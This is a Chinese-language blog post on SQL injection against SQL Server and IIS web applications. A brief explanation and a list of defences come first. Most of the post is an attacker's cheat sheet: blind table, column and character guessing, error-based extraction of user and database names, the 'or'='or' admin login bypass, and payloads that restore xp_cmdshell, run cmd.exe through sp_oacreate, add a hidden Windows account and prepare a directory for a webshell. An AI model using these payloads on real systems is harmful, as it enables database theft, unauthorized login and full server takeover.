SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

目录

  • sql注入
  • 注入大致方法
  • 常用sql注入语句

sql注入

什么时候最易受到sql注入攻击

当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。

如何防止SQL注入

归纳一下,主要有以下几点:

  1. 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双”-“进行转换等。
  2. 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
  4. 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
  6. sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台有MDCSOFT SCAN等,另外采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等

注入大致方法

方法1

先猜表名
And (Select count(*) from 表名)<>0
猜列名
And (Select count(列名) from 表名)<>0
或者也可以这样
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正确的,那么写的表名或列名就是正确
这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的
现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容

方法2

获得数据库连接用户名:;and user>0

我这里引用《SQL注入天书》里面的一段话来讲解:

“重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int”

到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则是暴数据库名。

方法3

后台身份验证绕过漏洞
验证绕过漏洞就是’or’=’or’后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
user=request(“user”)
passwd=request(“passwd”)
sql=’select admin from adminbate where user=’&”’&user&”’&’ and passwd=’&”’&passwd&”’
那么我使用’or ‘a’=’a来做用户名密码的话,那么查询就变成了
select admin from adminbate where user=”or ‘a’=’a’ and passwd=”or ‘a’=’a’
这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了
这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似
sql=”select * from admin where username='”&username&’&”passwd='”&passwd&’
如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。
第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了

方法4

防御方法

如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; “”;form;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。

常用sql注入语句

  1. 判断有无注入点
    ; and 1=1 and 1=2
  2. 猜表一般的表的名称无非是admin adminuser user pass password 等..
    and 0<>(select count(*) from *)
    and 0<>(select count(*) from admin) —判断是否存在admin这张表
  3. 猜帐号数目 如果遇到0< 返回正确页面 1<;返回错误页面说明帐号数目就是1个
    and 0<(select count(*) from admin)
    and 1<(select count(*) from admin)
  4. 猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
    and 1=(select count(*) from admin where len(*)>0)–
    and 1=(select count(*) from admin where len(用户字段名称name)>0)
    and 1=(select count(*) from admin where len(密码字段名称password)>0)
  5. 猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
    and 1=(select count(*) from admin where len(*)>0)
    and 1=(select count(*) from admin where len(name)>6) 错误
    and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
    and 1=(select count(*) from admin where len(name)=6) 正确
    and 1=(select count(*) from admin where len(password)>11) 正确
    and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
    and 1=(select count(*) from admin where len(password)=12) 正确
  6. 猜解字符
    and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
    and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
    就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
  7. 看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
    and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))–
  8. 判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
    and sa=(SELECT System_user)–
    and user_name()=dbo–
    and 0<>(select user_name()–
  9. 看xp_cmdshell是否删除
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)–
  10. xp_cmdshell被删除,恢复,支持绝对路径的恢复
    ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll–
    ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
  11. 反向PING自己实验
    ;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec sp_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–
  12. 加帐号
    ;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
  13. 创建一个虚拟目录E盘:
    ;declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w “默认Web站点” -v “e”,”e:\”–
  14. 访问属性:(配合写入一个webshell)
    declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.